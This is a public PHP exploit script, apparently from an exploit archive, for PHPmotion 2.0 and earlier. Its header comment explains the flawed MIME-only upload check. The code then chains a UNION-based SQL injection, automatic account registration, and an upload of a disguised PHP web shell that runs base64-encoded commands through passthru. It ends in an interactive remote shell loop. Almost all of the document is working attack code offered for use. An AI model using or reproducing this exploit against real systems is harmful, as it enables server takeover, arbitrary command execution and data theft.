phpmotion-upload.txt

Posted on 26 June 2008
<?php

/*
-----------------------------------------------------------------
PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
-----------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.phpmotion.com/
details..: don't works on windows platforms due to $_FILES['ufile']['tmp_name'] is stripslashed

[-] vulnerable code in /update_profile.php

255.	    // START OF FILE UPLOAD AND SECURITY CHECK
256.	    $limit_size = $config['maximum_size'];//you can change this to a higher file size limit (this is in bytes = 2MB apprx)
257.	    $random = randomcode();//create random number
258.	    $uniquename1 = $random . $_FILES['ufile']['name'];//add random number to file name to create unique file
259.	    $uniquename = mysql_real_escape_string($uniquename1);
260.	    $path = installation_paths();
261.	    $path = $path . "/pictures/" . $uniquename;
262.
263.	    if ($_FILES) {
264.	        // Store upload file size in $file_size
265.	        $file_size = $_FILES['ufile']['size'];
266.			//die("$file_size = $file_size; $limit_size = $limit_size;");
267.
268.	        if ($file_size >= $limit_size) {
269.	            // Display file size error
270.	            // ///////////////////////
271.	            $show = 1;
272.	            $message_type = $config["notification_success"];//the messsage displayed at the top coner
273.	            $error_message = 'Your image is too large. The maximum size allowed is: ' . $config['maximum_size_human_readale'];
274.	            $blk_id = 1;//html table - error block
275.	            $template = "templates/main_1.htm";
276.	            $inner_template1 = "templates/inner_myaccount_update_profile.htm";//middle of page
277.	            $TBS = new clsTinyButStrong;
278.	            $TBS->NoErr = true;// no more error message displayed.
279.	            $TBS->LoadTemplate("$template");
280.	            $TBS->Render = TBS_OUTPUT;
281.	            $TBS->Show();
282.
283.	            @mysql_close();
284.	            die();
285.	        }
286.	        else {
287.	            $filetype = $_FILES['ufile']['type']; <=======
288.	            if ($filetype == "image/gif" || $filetype == "image/jpeg" || $filetype ==
289.	                "image/pjpeg") {
290.	                // copy file to where you want to store file
291.	                if (@copy($_FILES['ufile']['tmp_name'], $path)) {
292.	                }
293.	                else {
294.	                    // Display general file copy error

an attacker might be able to upload arbitrary malicious files with .php extension due to the code
near lines 287-289 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "
[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

// yes, SQL injection vulnerable too!
function retrive_data($field, $table, $clause)
{
global $host, $path;

$sql = "-1/**/UNION/**/SELECT/**/".str_repeat("1,",16)."{$field},".encodeSQL("yes").",1,1,1/**/FROM/**/{$table}/**/WHERE/**/{$clause}%23";

$packet  = "GET {$path}play.php?vid={$sql} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Connection: close

";

preg_match("/play.php?vid=(.*)"/", http_send($host, $packet), $match);
return $match[1];
}

function encodeSQL($sql)
{
for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
return "CONCAT(0x{$encoded})";
}

function upload()
{
global $host, $path, $sid, $username;

login();

print "[-] Trying to upload a shell...
";

$payload  = "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="submitted_pic"

yes
";
$payload .= "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="ufile"; filename=".php"
";
$payload .= "Content-Type: image/jpeg

";
$payload .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>
";
$payload .= "--o0oOo0o--
";

$packet  = "POST {$path}update_profile.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: PHPSESSID={$sid}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o
";
$packet .= "Connection: close

";
$packet .= $payload;

http_send($host, $packet);

$user_id = (int) retrive_data("user_id", "member_profile", "user_name=".encodeSQL($username));
$file_name = retrive_data("file_name", "pictures", "user_id={$user_id}");

if (!isset($file_name)) die("
[-] Upload failed...
");
else return $file_name;
}

function login()
{
global $host, $path, $username, $password, $sid;

print "
[-] Logging in with username '{$username}' and password '{$password}'
";

$data	= "user_name_login={$username}&password_login={$password}&submitted=yes";
$packet = "POST {$path}login.php HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Content-Length: ".strlen($data)."
";
$packet.= "Content-Type: application/x-www-form-urlencoded
";
$packet.= "Connection: close

";
$packet.= $data;
$html	= http_send($host, $packet);

preg_match("/PHPSESSID=([0-9a-f]{32})/i", $html, $match);
$sid = $match[1];

if (!preg_match("/Location: myaccount.php/i", $html))
{
print "[-] Login failed!
";
register();
login();
}
}

function register()
{
global $host, $path, $username, $password;

print "
[-] Registering new user '{$username}' with password '{$password}'
";

// register a new account
$data	= "user_name={$username}";
$data  .= "&password={$password}";
$data  .= "&confirm_password={$password}";
$data  .= "&email_address=".md5(time())."@null.com";
$data  .= "&form_submitted=yes";
$data  .= "&terms=yes";
$packet = "POST {$path}register.php HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Content-Length: ".strlen($data)."
";
$packet.= "Content-Type: application/x-www-form-urlencoded
";
$packet.= "Connection: close

";
$packet.= $data;

http_send($host, $packet);

$code = retrive_data("random_code", "member_profile", "user_name=".encodeSQL($username));
if (!isset($code)) die("
[-] Registration failed...
");

// and confirm the registration
$packet = "GET {$path}confirm.php?id={$code} HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Connection: close

";

if (!preg_match("/registration is now complete/i", http_send($host, $packet))) die("
[-] Registration failed...
");
}

print "
+---------------------------------------------------------------------------+";
print "
| PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit by EgiX |";
print "
+---------------------------------------------------------------------------+
";

if ($argc < 3)
{
print "
Usage......: php $argv[0] host path
";
print "
Example....: php $argv[0] localhost /";
print "
Example....: php $argv[0] localhost /phpmotion/
";
die();
}

$host = $argv[1];
$path = $argv[2];

$username = "pr00f_0f";
$password = "_c0nc3pt";

$r_path = "pictures/".upload();

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
print "
phpmotion-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}{$r_path} HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Cmd: ".base64_encode($cmd)."
";
$packet.= "Connection: close

";
$output = http_send($host, $packet);
if (!preg_match("/_code_/", $output)) die("
[-] Exploit failed...
");
$shell = explode("_code_", $output);
print "
{$shell[1]}";
}
else break;
}

?>
TOP
Malware :

Last 20
Exploits :

Last 20